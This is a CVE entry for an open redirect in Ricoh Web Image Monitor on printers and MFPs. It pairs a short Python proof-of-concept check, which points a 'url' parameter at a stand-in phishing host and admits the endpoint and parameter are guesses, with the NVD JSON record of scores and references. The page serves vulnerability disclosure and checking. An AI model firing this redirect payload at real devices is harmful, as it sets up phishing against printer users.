CVE-2026-41226

# PoC for CVE-2026-41226: Open Redirect in Ricoh Web Image Monitor import requests def check_open_redirect(target_ip): # Vulnerable endpoint example (actual path may vary by model) base_url = f"http://{target_ip}/web/guest/en/websys/webArch/authForm.cgi" # Malicious payload to redirect to an external site malicious_url = "http://attacker-controlled-site.com/phishing" # Crafting the specific parameter that triggers the redirect # Note: The exact parameter name (e.g., 'url', 'link', 'next') depends on the specific firmware version. # This demonstrates the concept of appending a target URL. payload = {"wim_token": "dummy", "url": malicious_url} try: response = requests.get(base_url, params=payload, timeout=5, allow_redirects=False) if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location', '') if malicious_url in location: print(f"[+] Vulnerable! Redirecting to: {location}") return True print("[-] Not vulnerable or payload incorrect.") return False except Exception as e: print(f"[!] Error connecting to target: {e}") # Usage # check_open_redirect("192.168.1.100")

{"cve": {"id": "CVE-2026-41226", "sourceIdentifier": "[email protected]", "published": "2026-04-30T07:16:37.143", "lastModified": "2026-05-01T08:16:00.523", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open redirect vulnerability exists in Multiple laser printers and MFPs which implement Ricoh Web Image Monitor. When accessing a specially crafted URL, the user may be redirected to an arbitrary website. As a result, the user may become a victim of a phishing attack."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "references": [{"url": "https://jp.ricoh.com/security/products/vulnerabilities/vul?id=ricoh-2026-000004", "source": "[email protected]"}, {"url": "https://jvn.jp/en/jp/JVN65118274/", "source": "[email protected]"}, {"url": "https://www.ricoh.com/products/security/vulnerabilities/vul?id=ricoh-2026-000004", "source": "[email protected]"}]}}